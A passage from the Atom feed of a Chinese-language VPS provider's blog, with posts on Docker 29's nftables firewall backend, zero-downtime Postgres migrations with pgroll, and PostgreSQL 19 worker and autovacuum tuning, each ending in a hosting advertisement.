<code>com.docker.network.bridge.trusted_host_interfaces</code>，或 daemon 層級的 <code>allow-direct-routing</code> global option。</p><p>iptables <code>DOCKER-USER</code> 的舊規則不會被 nftables backend 讀到，但也不會被清掉。切換 backend 之後 iptables 那條跳轉還在，直到重開機或手動清才會消失。這段過渡期兩份規則同時存在，追封包流向會比平常吃力。</p><h2 id="什麼時候可以往-nftables-backend-遷移"><a href="#什麼時候可以往-nftables-backend-遷移" class="headerlink" title="什麼時候可以往 nftables backend 遷移"></a>什麼時候可以往 nftables backend 遷移</h2><p>真的要下判斷，時機看幾個條件。單機 VPS 跑 Compose、沒有 Swarm、沒有複雜自訂防火牆規則、iptables <code>FORWARD</code> 已經是 <code>ACCEPT</code> policy——這種標準配置切過去幾乎零成本，順手把 host 拉進 nftables 世代。有大量 <code>DOCKER-USER</code> 規則要保留的環境，先把規則寫成 nftables 版、拿一臺測試機驗過再說，遷移工具目前只有 <code>iptables-translate</code> 而且產出得手動修。跑 Swarm 的環境完全不用考慮，等下一版。</p><p>Docker 官方明確講「未來版本 nftables 會變預設、iptables 標記 deprecated」，但沒給版本號跟時間點。從 v29 的實驗支援到預設反轉之間會有幾個版本的緩衝期，這期間把握機會把手上的防火牆邏輯搬過去，比等到強制切換那天再手忙腳亂划算很多。</p><h2 id="想在乾淨-VPS-上驗這條-nftables-backend-直接開一臺就好"><a href="#想在乾淨-VPS-上驗這條-nftables-backend-直接開一臺就好" class="headerlink" title="想在乾淨 VPS 上驗這條 nftables backend 直接開一臺就好"></a>想在乾淨 VPS 上驗這條 nftables backend 直接開一臺就好</h2><p>Docker 29 的 nftables backend 目前狀態是「可以測、還不建議吃 production 流量」，但遷移前的驗證動作越早做越輕鬆。要一臺乾淨的 Debian 13 或 Ubuntu 26.04、kernel 帶完整 nftables 支援、能自由開關 daemon option 而不影響手邊服務——最省事的做法是開一臺獨立的 VPS 專門測。NCSE Network 提供的 VPS 主機跑在臺灣是方電訊機房、Intel Gold CPU 加 NVMe SSD，Debian 13、Ubuntu 26.04 等主流映像檔開機即用，kernel 版本全支援 nftables 完整功能集。想了解相關方案細節，可以到 <a href="https://ncse.tw/">ncse.tw</a> 查看。</p>]]>
    </content>
    <id>https://blog.ncse.tw/docker-29-nftables-firewall-backend-docker-user-chain-removed-bridge-accept-fwmark/</id>
    <link href="https://blog.ncse.tw/docker-29-nftables-firewall-backend-docker-user-chain-removed-bridge-accept-fwmark/"/>
    <published>2026-09-03T15:36:33.000Z</published>
    <summary>Docker 29 除了抬升 API 版本、把 containerd 換成預設，還多開了一條 nftables firewall backend 路線。啟用之後 DOCKER-USER 這條沿用十年的自訂 chain 直接消失，改用 base chain priority 加 fwmark 才是官方認可的插點。這篇整理該怎麼遷移、哪些設定會撞牆、Swarm 環境為何暫時不能啟用。</summary>
    <title>Docker 29 把 firewall backend 換成 nftables 實驗支援：DOCKER-USER 這條 chain 沒了、bridge-accept-fwmark 才是新的鉤子</title>
    <updated>2026-09-10T01:13:30.515Z</updated>
  </entry>
  <entry>
    <author>
      <name>NCSE Network</name>
    </author>
    <category term="自架服務" scheme="https://blog.ncse.tw/tags/%E8%87%AA%E6%9E%B6%E6%9C%8D%E5%8B%99/"/>
    <category term="資料庫" scheme="https://blog.ncse.tw/tags/%E8%B3%87%E6%96%99%E5%BA%AB/"/>
    <category term="schema migration" scheme="https://blog.ncse.tw/tags/schema-migration/"/>
    <category term="DevOps" scheme="https://blog.ncse.tw/tags/DevOps/"/>
    <category term="PostgreSQL" scheme="https://blog.ncse.tw/tags/PostgreSQL/"/>
    <category term="pgroll" scheme="https://blog.ncse.tw/tags/pgroll/"/>
    <content>
      <![CDATA[<p>Postgres 加一個 NOT NULL 欄位或改欄位名，在有流量的表上永遠是災難。<code>ALTER TABLE</code> 拿的 <code>ACCESS EXCLUSIVE</code> lock 會把讀寫全部擋住，backfill 又只能等 lock timeout 慢慢跑；就算把新欄位先做成 nullable 再事後補 constraint，中間那段「應用程式雙寫、盯 replication lag、寫 rollback 腳本」的過程，踩過的人都知道任何一環出錯，資料就對不上了。</p><p>pgroll 是 Xata 團隊釋出的開源工具，用完全不同的角度切入這個問題：不去 patch <code>ALTER TABLE</code>，而是在 Postgres 上開兩份平行 schema，讓新舊版本的應用同時讀寫，靠 view 跟 trigger 把兩邊自動接起來。舊版應用還在跑的期間，新版可以直接部署上去，等所有客戶端遷移完成再把舊的收掉。這個做法在 2026 年最新的 v0.16.2 版本已經穩定，實務上對付有流量的 Postgres 遷移是目前最完整的一條路。</p><h2 id="傳統-Postgres-遷移為什麼會踩到鎖"><a href="#傳統-Postgres-遷移為什麼會踩到鎖" class="headerlink" title="傳統 Postgres 遷移為什麼會踩到鎖"></a>傳統 Postgres 遷移為什麼會踩到鎖</h2><p>Postgres 的 DDL 是 transactional 的，這件事聽起來很美好，但一旦碰到大表就變成陷阱。<code>ALTER TABLE ... ADD COLUMN foo TEXT NOT NULL DEFAULT &#39;x&#39;</code> 這一行在 Postgres 11 之後有個 fast-path 優化，因為新的 default 值可以只寫進系統目錄，實際 row 不需要重寫。但只要 default 不是常數、或者你想在既存 row 上填不同的值，Postgres 就必須真的把每一 row 都掃一遍，這段期間持有 <code>ACCESS EXCLUSIVE</code> lock，其他所有 query 全部排隊等。</p><p>改欄位名更慘。<code>ALTER TABLE ... RENAME COLUMN</code> 本身只是 metadata 操作，但應用程式端如果同時有舊版跟新版在跑（多數的滾動部署都會），舊版會找不到欄位、新版會找不到舊欄位，只要 rename 那一瞬間有 request 進來就會噴 error。這種情況只能靠人工把「加新欄位、同步寫兩邊、切讀、切寫、清舊欄位」拆成好幾個 PR 分批部署，一個 sprint 才做得完一個欄位改名。</p><p>那如果只是加 NOT NULL 到既有欄位呢？Postgres 12 起支援 <code>SET NOT NULL</code> 搭配已存在的 <code>CHECK ... NOT NULL</code> constraint，可以省掉 full table scan，但 constraint 本身還是要用 <code>NOT VALID</code> 加上 <code>VALIDATE CONSTRAINT</code> 分兩步跑，中間 backfill 那段仍舊是應用程式自己處理。</p><h2 id="pgroll-把-schema-抽象成「版本」而不是「狀態」"><a href="#pgroll-把-schema-抽象成「版本」而不是「狀態」" class="headerlink" title="pgroll 把 schema 抽象成「版本」而不是「狀態」"></a>pgroll 把 schema 抽象成「版本」而不是「狀態」</h2><p>pgroll 的核心設計就一句話：Postgres 上每張表的每個 schema 版本，都是同一份 physical table 的一個 view。</p><p>當一個遷移啟動，pgroll 會做這幾件事：先在 physical table 上加需要的新欄位（保持 nullable），寫一組 trigger 把新舊欄位互相同步，然後在一個新的 schema（例如 <code>public_v2</code>）裡建立 view，view 只暴露新版本該有的欄位定義。舊的 view 還留在 <code>public_v1</code> 裡，繼續讓舊版應用讀寫舊欄位。</p><p>真正精妙的地方在 trigger 那層：如果遷移是「加一個 NOT NULL 欄位並用其他欄位運算填值」，pgroll 允許在遷移檔案裡寫一段 SQL 表達式（<code>up</code> 欄位）描述舊 row 該怎麼填新欄位，另一段（<code>down</code>）描述新 row 該怎麼投影回舊 schema。這兩段 SQL 會被塞進 BEFORE INSERT&#x2F;UPDATE trigger，在任何一邊寫入時自動把另一邊補齊。</p><p>換句話說，應用程式完全不需要知道遷移正在跑。舊版應用寫舊 view，trigger 幫它同步到新欄位；新版應用寫新 view，trigger 幫它同步回舊欄位。只要新版 rollout 完成，pgroll 執行 <code>complete</code> 就把舊 view、舊欄位、trigger 全部收掉，只留下新的 physical schema。</p><h2 id="一個實際的-NOT-NULL-遷移長什麼樣"><a href="#一個實際的-NOT-NULL-遷移長什麼樣" class="headerlink" title="一個實際的 NOT NULL 遷移長什麼樣"></a>一個實際的 NOT NULL 遷移長什麼樣</h2><p>假設 <code>reviews</code> 表原本 <code>review</code> 欄位是 nullable，現在要改成 NOT NULL，遇到 NULL 的舊 row 想用「產品名稱 + is good」自動補值。pgroll 的遷移檔案會是這樣：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;review_not_null&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;operations&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;alter_column&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;table&quot;</span><span class="punctuation">:</span> <span class="string">&quot;reviews&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;column&quot;</span><span class="punctuation">:</span> <span class="string">&quot;review&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;not_null&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;up&quot;</span><span class="punctuation">:</span> <span class="string">&quot;(SELECT CASE WHEN review IS NULL THEN product || &#x27; is good&#x27; ELSE review END)&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;down&quot;</span><span class="punctuation">:</span> <span class="string">&quot;review&quot;</span></span><br><span class="line">      <span class="punctuation">&#125;</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line">  <span class="punctuation">]</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>執行 <code>pgroll start review_not_null</code> 之後：</p><ol><li>pgroll 在 <code>reviews</code> 表上加了一個新欄位 <code>_pgroll_new_review</code>，型別跟原欄位一樣但帶 NOT NULL constraint（用 <code>NOT VALID</code> 建立避免鎖）。</li><li>Trigger 開始跑：任何寫入舊欄位 <code>review</code> 的 statement，會用 <code>up</code> 表達式計算出對應的新欄位值，寫進 <code>_pgroll_new_review</code>；反過來寫新欄位的 statement，會用 <code>down</code> 表達式（這裡直接投影回 <code>review</code>）填回舊欄位。</li><li>Backfill worker 開始跑，一次 10000 row 分批把舊資料透過 <code>up</code> 表達式填進新欄位。</li><li>建立 <code>public_v2</code> schema，裡面 <code>reviews</code> view 只暴露 <code>_pgroll_new_review</code> 並命名為 <code>review</code>。舊的 <code>public_v1.reviews</code> view 還在，繼續讓舊版應用讀寫。</li></ol><p>這時候應用程式可以慢慢滾動部署，把連線字串從 <code>search_path=public_v1</code> 換成 <code>search_path=public_v2</code>。等所有 pod、所有 replica 都切完，執行 <code>pgroll complete</code>，pgroll 會：把 <code>_pgroll_new_review</code> 改名為 <code>review</code>（覆蓋原欄位）、<code>VALIDATE CONSTRAINT</code> 把 NOT NULL 落實、砍掉 trigger、砍掉舊 schema。</p><p>整個過程沒有任何一秒鐘應用需要停機，也沒有任何一個 request 會因為 schema 不一致噴 error。</p><h2 id="Rollback-是一級公民"><a href="#Rollback-是一級公民" class="headerlink" title="Rollback 是一級公民"></a>Rollback 是一級公民</h2><p>實務上更值得注意的是 rollback。傳統的 SQL migration 工具（Flyway、Liquibase、Alembic）雖然都支援 down migration，但寫 down migration 這件事本身就是災難：如果新版遷移已經破壞了原本的資料形狀（例如刪掉一個欄位），down migration 沒辦法把資料真的還原。</p><p>pgroll 因為新舊 schema 在 <code>complete</code> 之前一直平行存在，rollback 就只是「不要 complete，直接把新 schema 收掉」。舊資料一直沒被破壞，rollback 一秒完成，也不會有資料遺失。</p><p>這對於 canary 部署或 feature flag 綁遷移的場景特別有用。如果新版本上線後發現有 bug，先把應用 rollback 回 <code>public_v1</code>，資料層的 schema 一動都不用動，等修好再重新 <code>start</code>。</p><h2 id="跟-Atlas-這類宣告式工具怎麼分工"><a href="#跟-Atlas-這類宣告式工具怎麼分工" class="headerlink" title="跟 Atlas 這類宣告式工具怎麼分工"></a>跟 Atlas 這類宣告式工具怎麼分工</h2><p>臺灣開發圈近年討論比較多的是 <a href="/atlas-declarative-schema-migration-database-devops/">Atlas</a>，它主打「宣告式 schema」——你把想要的最終 schema 定義寫在檔案裡，Atlas 自動算出從現況到目標的 diff 並產出 SQL。這條路解決的是「migration 檔案手寫容易出錯、review 難、跨環境 drift 難偵測」的問題。</p><p>pgroll 解決的是完全不同的層次：它不關心「schema 該長什麼樣」，它關心「怎麼在有流量的資料庫上把 schema 從 A 變到 B 而不中斷」。這兩個工具其實可以疊在一起用——Atlas 負責維護真實 schema 定義跟版本控制，pgroll 負責在部署階段用零停機的方式套用變更。</p><p>如果拿 pgroll 直接跟 Liquibase、Flyway 這種舊派工具比較，差別在於：舊派工具本質上是「按順序執行 SQL 檔案」的 runner，遷移是不是安全、能不能不停機，完全靠寫 SQL 的人自己負責。pgroll 把「不停機」這件事拉進工具本身，用 view + trigger 幫你把安全遷移的樣板實作出來。代價是你得學一套新的 DSL、跟現有的 migration workflow 整合、額外處理連線的 <code>search_path</code> 切換。</p><h2 id="什麼場景不該用-pgroll"><a href="#什麼場景不該用-pgroll" class="headerlink" title="什麼場景不該用 pgroll"></a>什麼場景不該用 pgroll</h2><p>pgroll 不是萬能。有幾個實務上會踩到的限制值得先想清楚：</p><p><strong>極大表的 backfill 仍然要跑很久。</strong> view 跟 trigger 解決的是 lock 跟一致性問題，backfill 本身還是要掃過所有 row。一個 5 億筆的表，即使一批 10000 也要跑好幾個小時，這段期間磁碟 IO 跟 WAL 都會被吃掉。pgroll v0.7 之後可以調整 batch size 跟 backoff，實務上要根據 replica lag 動態調整。</p><p><strong>Postgres 版本要 14.0 以上。</strong> pgroll 依賴一些較新的 DDL 語法跟 catalog 特性，舊版 Postgres（12、13）跑不起來。RDS、Aurora、Supabase、Neon 都支援，但如果你還在用 CentOS 7 上內建的 Postgres 11，得先升級。</p><p><strong>應用程式必須能夠切換 <code>search_path</code>。</strong> pgroll 是靠不同 schema 名稱區隔版本，所以應用程式的連線字串或 session initializer 得能設定 <code>SET search_path TO public_v2, public</code>。如果你的 ORM 或 driver 對 <code>search_path</code> 有假設，或者連線是透過某些 pooler（PgBouncer transaction mode）走的，得先確認 <code>SET search_path</code> 會不會被吃掉。</p><p><strong>跨表關聯的變更做不了。</strong> pgroll 現在的 operation 都是單表的，如果你的遷移是「把 A 表的一個欄位搬到 B 表」，這種涉及多表的重構仍然要靠應用層自己處理。</p><p><strong>遷移期間 disk 用量會暫時翻倍。</strong> 舊欄位還在、新欄位加上、backfill 資料也在，最壞情況下受影響的表會多佔一份儲存空間，直到 <code>complete</code> 之後才釋放。VPS 上磁碟不寬裕的話得先擴容。</p><h2 id="部署-pgroll-到自架-Postgres-的實際流程"><a href="#部署-pgroll-到自架-Postgres-的實際流程" class="headerlink" title="部署 pgroll 到自架 Postgres 的實際流程"></a>部署 pgroll 到自架 Postgres 的實際流程</h2><p>在自架的 Postgres 上導入 pgroll 大致是這幾件事：</p><p>先在資料庫上跑 <code>pgroll init</code>，它會建立一個 schema <code>pgroll</code> 用來存遷移狀態跟版本記錄。如果已經有現存資料庫，接著跑 <code>pgroll baseline</code>，把當前 schema 匯入為版本 v0。</p><p>CI&#x2F;CD 裡面的整合就是把 <code>pgroll start</code> 排在應用 deploy 之前、<code>pgroll complete</code> 排在 deploy 完成、健康檢查通過之後。中間如果健康檢查失敗，跳過 complete 直接 rollback。這個流程用 GitHub Actions、GitLab CI 或者 <a href="/kamal-2-docker-deploy-vps-yaml/">Kamal</a> 這類部署工具都好接。</p><p>如果你的 Postgres 跑在 <a href="/docker-compose-production-best-practices/">Docker Compose 上</a>，把 pgroll binary 打包進一個 sidecar container，或者直接在 CI runner 上執行都可以。pgroll 是純 Go 寫的靜態 binary，不需要 runtime 依賴。</p><p>監控方面，pgroll 的 backfill 進度可以透過 <code>pgroll status</code> 查詢，也可以從 <code>pgroll</code> schema 裡直接 SELECT 看每個 batch 的狀態。生產環境建議搭配一個 alert，backfill 超過預期時間就通知，避免遷移卡住沒人知道。</p><hr><p>Postgres 的 schema 遷移從來不是「寫幾條 ALTER TABLE 就好」，只是很多團隊靠「排在半夜三點停機做」把這件事的難度藏起來了。當服務規模到了不能停機的量級，pgroll 這種把「零停機」設計進工具本身的做法，比起繼續手動雙寫加 backfill 要穩定得多。已經用 Atlas、Flyway 的團隊也不用整個換掉，把 pgroll 疊上去接手實際執行階段就好。</p><p>想在自架 Postgres 上玩玩看 pgroll、需要一臺穩定的機器來測試 zero-downtime 遷移流程？NCSE Network 提供臺灣是方電訊機房的企業級 VPS，Intel Gold CPU、NVMe SSD、99% SLA，適合跑對 latency 敏感的 Postgres 工作負載。7 天免費試用，方便先驗證遷移流程再上生產。</p>]]>
    </content>
    <id>https://blog.ncse.tw/pgroll-postgres-zero-downtime-schema-migration-expand-contract-view/</id>
    <link href="https://blog.ncse.tw/pgroll-postgres-zero-downtime-schema-migration-expand-contract-view/"/>
    <published>2026-09-02T15:30:00.000Z</published>
    <summary>Postgres 上有流量的表要加 NOT NULL、改欄位名，傳統做法只能雙寫加 backfill。pgroll 用 view 開兩份平行 schema，讓新舊應用同時讀寫，把停機時間縮到零。本文解析 expand/contract 機制、實際遷移範例，以及跟 Atlas 這類宣告式工具的分工。</summary>
    <title>加一個 NOT NULL 欄位就要停機？pgroll 用 view 撐雙 schema 版本，把 Postgres 遷移那條 lock 拆掉</title>
    <updated>2026-09-10T01:13:30.521Z</updated>
  </entry>
  <entry>
    <author>
      <name>NCSE Network</name>
    </author>
    <category term="VPS" scheme="https://blog.ncse.tw/tags/VPS/"/>
    <category term="PostgreSQL" scheme="https://blog.ncse.tw/tags/PostgreSQL/"/>
    <category term="系統管理" scheme="https://blog.ncse.tw/tags/%E7%B3%BB%E7%B5%B1%E7%AE%A1%E7%90%86/"/>
    <category term="資料庫調校" scheme="https://blog.ncse.tw/tags/%E8%B3%87%E6%96%99%E5%BA%AB%E8%AA%BF%E6%A0%A1/"/>
    <category term="autovacuum" scheme="https://blog.ncse.tw/tags/autovacuum/"/>
    <content>
      <![CDATA[<p>PostgreSQL 18 在 2025 年 9 月把 asynchronous I&#x2F;O 子系統推出來時，社群的第一反應是「終於」。同步 I&#x2F;O 這條扛了二十年的舊路徑一次翻掉，冷 cache 讀取 2 到 3 倍加速的實測到處都在轉。過了將近一年，operator 圈子的抱怨集中到同一件事上：<code>io_workers</code> 是靜態值，OLAP 尖峰時 3 個 worker 不夠用、閒時段 8 個 worker 白佔記憶體，只要負載形狀會變，就得手動調兩次。PostgreSQL 19 Beta 3 在 2026 年 8 月 13 日釋出，io_method 這條路徑走完了：worker pool 改成自動伸縮，跟著 queue depth 升降，operator 只要設上下界就好。</p><p>同一版本裡另一條被拉平的曲線是 autovacuum。過去所有版本 autovacuum 一次只能單執行緒清一個 index，帶多 index 的大表要清好幾小時。19 之後 autovacuum 能拿 parallel worker 去平行處理 index vacuuming 跟 cleanup。兩個改動疊起來，VPS 上的 worker 預算分配邏輯必須重新想過：<code>max_parallel_workers</code>、<code>autovacuum_max_parallel_workers</code>、<code>io_max_workers</code> 三個池的關係到底該怎麼配。</p><h2 id="靜態-io-workers-為什麼撐不住一整年"><a href="#靜態-io-workers-為什麼撐不住一整年" class="headerlink" title="靜態 io_workers 為什麼撐不住一整年"></a>靜態 io_workers 為什麼撐不住一整年</h2><p>18 版本的 async I&#x2F;O 有三個 io_method 選項：<code>sync</code> 維持舊行為、<code>worker</code> 用一組 background process 代發 I&#x2F;O、<code>io_uring</code> 直接走 Linux 5.1+ 的 io_uring 介面。預設是 <code>worker</code>，<code>io_workers</code> 這顆旋鈕預設值 3，代表整個 cluster 共用 3 個 process 幫所有 backend 收 I&#x2F;O 請求。</p><p>問題出在「共用」跟「靜態」同時成立。一支 report query 跑起來能把 3 個 worker 全部佔滿，這段時間 OLTP session 的 buffer miss 就得排隊，尾延遲被直接拉高。反過來把 <code>io_workers</code> 開到 8 應付尖峰，非尖峰時段這 8 個 worker 全部閒置也不會退回去，記憶體跟 CPU cache 都被壓一份基本開銷。SaaS 或多租戶場景更痛，租戶行為完全不可預測。</p><p>社群給出的暫時建議是「按 vCPU 數開 25% 到 50%」，這個粗略公式在均值負載下堪用，但完全處理不了負載變異。19 之前的 workaround 是用 <code>ALTER SYSTEM SET io_workers</code> 加 <code>pg_reload_conf()</code> 手動重跑，或者接一個 cron 依時段換值，兩種做法都很土。</p><h2 id="19-的自動伸縮怎麼跑"><a href="#19-的自動伸縮怎麼跑" class="headerlink" title="19 的自動伸縮怎麼跑"></a>19 的自動伸縮怎麼跑</h2><p>PostgreSQL 19 把 <code>io_workers</code> 這個靜態值換掉，新的 API 是四個參數：<code>io_min_workers</code>（下限，預設 1）、<code>io_max_workers</code>（上限，預設 8）、<code>io_worker_idle_timeout</code>（閒置多久後退場，預設 60s）、<code>io_worker_launch_interval</code>（新增 worker 之間的最短間隔，預設 200ms）。行為模式跟一般的 thread pool library 一樣：queue depth 上升時逐步 spawn 到上限，queue 排空後閒置 worker 逾時退回。</p><p>實務上 operator 只需要設兩個上下界，剩下交給系統。Crunchy Data 明確給的建議是「18 上手動調過 <code>io_workers</code> 的環境，19 上先把它拔掉重測預設值」。這句話的意思是原本用時段條件開幾個 worker 的邏輯全部可以刪，讓 <code>io_min_workers=1</code>、<code>io_max_workers=8</code> 這組預設先跑一週，再視 <code>pg_stat_io</code> 的 worker 使用率決定是否往上加上限。</p><p><code>io_uring</code> 派系不受這組參數影響。io_uring 走的是每個 backend 各自向 kernel 提交 I&#x2F;O 的路徑，本來就沒有共用 worker pool 的概念。這個差異也解釋了為什麼一部分 benchmark 顯示 io_uring 在 mixed workload 下比 worker 更穩——不用搶 shared queue。但 io_uring 在嚴格容器環境常被 seccomp 擋掉，PGDG apt 套件在 build 時要看 <code>--with-liburing</code> flag，Debian 13 之後預設有開，Alpine 上打包的 Postgres image 就常常沒有。VPS 環境如果 host kernel 支援 io_uring 且不是嚴格 container，直接 <code>io_method=io_uring</code> 通常最直接。</p><h2 id="Parallel-autovacuum-拿的是-max-parallel-workers-的額度"><a href="#Parallel-autovacuum-拿的是-max-parallel-workers-的額度" class="headerlink" title="Parallel autovacuum 拿的是 max_parallel_workers 的額度"></a>Parallel autovacuum 拿的是 max_parallel_workers 的額度</h2><p>autovacuum 的老問題是單執行緒。一張 500GB 的表帶 8 個 index，autovacuum 得依序掃 heap、依序清 index、依序做 cleanup，中間 dead tuple 累積、bloat 上升、query plan 走偏，剩下只能人工開 <code>VACUUM (PARALLEL 4)</code> 手動處理，或者裝 pg_repack 這類 extension 補。</p><p>19 版本把 parallel index vacuum 塞進 autovacuum 本身。兩個新設定：cluster 層級的 <code>autovacuum_max_parallel_workers</code>（預設 0，等於關閉）、per-table 的 <code>autovacuum_parallel_workers</code>（預設 -1，跟隨全域）。要啟用得手動設 <code>autovacuum_max_parallel_workers = 2</code> 或更高。</p><p>關鍵細節是 worker 來源。parallel autovacuum 的 worker 不是獨立的 process pool，而是從既有的 <code>max_parallel_workers</code> 借。這個池同時供 parallel query 用。也就是說，一支 report query 用掉 4 個 worker，同時 autovacuum 想開 2 個 worker 清 index，如果 <code>max_parallel_workers</code> 只有 4，autovacuum 會拿不到 worker、退回單執行緒。這是 19 版本在 VPS 上最容易踩雷的地方——不加大 <code>max_parallel_workers</code>，就等於在 autovacuum 跟 query 之間打架。</p><p>平行化的邊界也要看清楚。autovacuum 只在 index vacuuming 跟 index cleanup 兩個階段並行，heap scanning 跟 heap vacuuming 仍然單執行緒。每個 worker 一次處理一個 index，所以帶 2 個 index 的表就算開 8 個 worker 也只會用 2 個。此外每個 worker 各自佔一份 <code>maintenance_work_mem</code>，開 4 個 worker 加主 process 等於 5 倍記憶體。8GB VPS 上 <code>maintenance_work_mem=512MB</code> 加 4 個 parallel autovacuum worker，peak 就是 2.5GB，得算清楚。</p><h2 id="VPS-上的三池預算怎麼分"><a href="#VPS-上的三池預算怎麼分" class="headerlink" title="VPS 上的三池預算怎麼分"></a>VPS 上的三池預算怎麼分</h2><p>以 8 vCPU、16GB RAM 的 VPS 跑 PostgreSQL 19、負載是中量 OLTP 加偶爾 report 的典型配置為例，比較合理的起點是：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">max_parallel_workers = 6</span><br><span class="line">max_parallel_workers_per_gather = 3</span><br><span class="line">autovacuum_max_parallel_workers = 2</span><br><span class="line">io_min_workers = 2</span><br><span class="line">io_max_workers = 6</span><br><span class="line">maintenance_work_mem = 256MB</span><br></pre></td></tr></table></figure><p>邏輯是 report query 最多吃 3 個 worker、parallel autovacuum 保留 2 個、剩下 1 個做緩衝；I&#x2F;O worker 池獨立，上限吃到 vCPU 一半。這組值不是最優解，是不會馬上出事的起點，之後看 <code>pg_stat_io</code> 的 writes 分佈跟 <code>pg_stat_progress_vacuum</code> 的 index phase 時間再收斂。</p><p>小型 VPS（2 vCPU、4GB RAM）走另一條路：<code>max_parallel_workers = 2</code>、<code>autovacuum_max_parallel_workers = 0</code> 保持關閉、<code>io_min_workers = 1</code>、<code>io_max_workers = 2</code>、<code>io_method = io_uring</code>（如果 kernel 允許）。這個規模開 parallel autovacuum 收益很小，<code>io_uring</code> 又能省掉 worker overhead，資源全部丟給 OLTP session 反而順。</p><p>一個容易被忽略的邊界：<code>max_parallel_workers</code> 是從 <code>max_worker_processes</code> 這個更大的池切出來的，後者還要供 logical replication、background worker extension（例如 pg_cron、TimescaleDB）用。同時跑幾個 replication slot 加 parallel autovacuum 加 pg_cron 的環境，<code>max_worker_processes</code> 至少要拉到 <code>max_parallel_workers + 8</code> 才安全。</p><h2 id="除了-worker-還有兩個預設反轉"><a href="#除了-worker-還有兩個預設反轉" class="headerlink" title="除了 worker 還有兩個預設反轉"></a>除了 worker 還有兩個預設反轉</h2><p><code>EXPLAIN (ANALYZE, IO)</code> 是 19 新加的選項，把 async I&#x2F;O 活動 per plan node 展開：發出去幾個讀、實際完成幾個、傳輸多少 bytes。18 上要對照這些資訊得手動去撈 <code>pg_stat_io</code>，現在合成一個報表。慢 query 診斷流程可以省掉一半 join。</p><p>另外兩個容易漏掉的預設反轉值得放進升級 checklist：JIT 在 19 預設關掉（12 以來一直是預設開），原因是 large analytical query 上 cost model 判斷失準常常 JIT 反而更慢；toast 壓縮預設從 pglz 換成 lz4，寫入吞吐提升明顯但只影響新資料，舊 toast value 仍用 pglz。從 18 升 19 之後 query plan 該重新對一次，尤其是跑分析 workload 的環境。</p><p>REPACK 原生化那條線也值得順手提。19 把 <code>REPACK ... CONCURRENTLY</code> 做進 core，不需要 exclusive lock 就能重寫 bloated 表，替代掉多年來裝 pg_repack extension 的做法。前提是表要有 primary key 或 index-based replica identity，執行期需要約 2 倍的暫存空間。跟 parallel autovacuum 一起用能把「表已經腫到 autovacuum 追不上」這種舊帳處理掉。</p><h2 id="NCSE-Network-的臺灣-VPS-拿來測-PostgreSQL-19-剛好"><a href="#NCSE-Network-的臺灣-VPS-拿來測-PostgreSQL-19-剛好" class="headerlink" title="NCSE Network 的臺灣 VPS 拿來測 PostgreSQL 19 剛好"></a>NCSE Network 的臺灣 VPS 拿來測 PostgreSQL 19 剛好</h2><p>PostgreSQL 19 的 GA 排在 2026 年秋季，Beta 3 已經進入 feature freeze。要在正式版落地前把 worker 預算重畫、parallel autovacuum、JIT 預設關閉這幾件事驗過一遍，直接開一臺乾淨 VPS 跑 PGDG beta apt repo 是最快的路徑。NCSE Network 提供的 VPS 主機跑在臺灣是方電訊機房、Intel Gold CPU 加 NVMe SSD，Debian 13、Ubuntu 26.04 等映像檔開機即用，kernel 6.x 全支援 io_uring。想了解相關方案細節，可以到 <a href="https://ncse.tw/">ncse.tw</a> 查看。</p>]]>
    </content>
    <id>https://blog.ncse.tw/postgresql-19-aio-worker-autoscale-parallel-autovacuum-vps-tuning/</id>
    <link href="https://blog.ncse.tw/postgresql-19-aio-worker-autoscale-parallel-autovacuum-vps-tuning/"/>
    <published>2026-09-01T15:35:25.000Z</published>
    <summary>PG18 引進 async I/O 但 io_workers 是靜態值，operator 抱怨了一整年。PG19 Beta 3 把 worker pool 改成 io_min_workers 到 io_max_workers 之間自動伸縮，autovacuum 也開始從 max_parallel_workers 池借人平行清 index，VPS 上的資源預算得統一規劃。</summary>
    <title>PostgreSQL 19 把 AIO worker 改成自動伸縮、autovacuum 拉來共用 max_parallel_workers：VPS 上的三池預算要重畫</title>
    <updated>2026-09-10T01:13:30.521Z</updated>
  </entry>
  <entry>
    <author>
      <name>NCSE Network</name>
    </author>
    <category term="VPS" scheme="https://blog.ncse.tw/tags/VPS/"/>
    <category term="反向代理" scheme="https://blog.ncse.tw/tags/%E5%8F%8D%E5%90%91%E4%BB%A3%E7%90%86/"/>
    <category term="Nginx" scheme="https://blog.ncse.tw/tags/Nginx/"/>
    <category term="TLS" scheme="https://blog.ncse.tw/tags/TLS/"/>
    <category term="ECH" scheme="https://blog.ncse.tw/tags/ECH/"/>
    <category term="HTTP/2" scheme="https://blog.ncse.tw/tags/HTTP-2/"/>
    <content>
